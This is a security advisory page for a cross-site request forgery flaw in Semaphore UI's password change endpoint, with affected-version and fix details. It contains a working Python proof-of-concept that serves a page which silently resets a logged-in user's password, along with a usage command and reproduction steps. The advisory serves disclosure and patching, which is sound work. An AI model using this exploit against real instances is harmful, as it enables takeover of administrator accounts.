GHSA-8cj9-r88m-8945

    Dashboard / Vulnerabilities / GHSA-8cj9-r88m-8945

    GHSA-8cj9-r88m-8945

    Published: 3 Sept 2026Last Modified: 3 Sept 2026

    Summary: Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

    Details: ### Summary The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20. ### Details The password change endpoint of Semaphore UI does not implement any CSRF protection: - No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms. ### PoC To reproduce the exploit, you can use the following python script: ```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s') def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body> <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST"> <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script> </body> </html> """; parser = argparse.ArgumentParser() parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True) parser.add_argument("-u","--uri", help="Base uri to target", required=True) parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged') parser.add_argument("-p","--port", help="Port to run server", default=1337) args = parser.parse_args() class Handler(SimpleHTTPRequestHandler): def do_GET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" % (self.client_address[0], self.command, self.path, self.path.split('?')[1] if '?' in self.path else 'None')) content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(content))) self.end_headers() self.wfile.write(content) httpd = HTTPServer(("", args.port), Handler) logging.info("[*] Serving at port "+str(args.port)) httpd.serve_forever() ``` Example : ```bash python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337 ``` 1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`. ### Impact This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

    Affected packages

    Package

    Name: github.com/semaphoreui/semaphore

    Purl: pkg:golang/github.com/semaphoreui/semaphore

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -0.0.0-20260707190631-c59c3dc9035b

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High